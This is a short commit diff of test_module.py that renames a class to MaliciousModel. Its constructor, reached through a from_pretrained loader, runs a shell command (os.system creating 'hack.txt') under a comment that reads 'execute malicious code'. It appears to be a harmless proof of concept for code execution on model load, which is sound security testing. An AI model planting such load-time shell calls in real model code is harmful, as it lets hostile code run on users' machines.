Update test_module.py

test_module.py

@@ -1,10 +1,11 @@
-import os  
-  
-class TestModule:  
-    def __init__(self, *args, **kwargs):  
-        # 执行恶意代码  
-        os.system("touch hack.txt")  
-      
-    @classmethod  
-    def from_pretrained(cls, *args, **kwargs):  
+import os  
+import subprocess  
+  
+class MaliciousModel:  
+    def __init__(self, *args, **kwargs):  
+        # 执行恶意代码  
+        os.system("touch hack.txt")   
+      
+    @classmethod  
+    def from_pretrained(cls, *args, **kwargs):  
         return cls()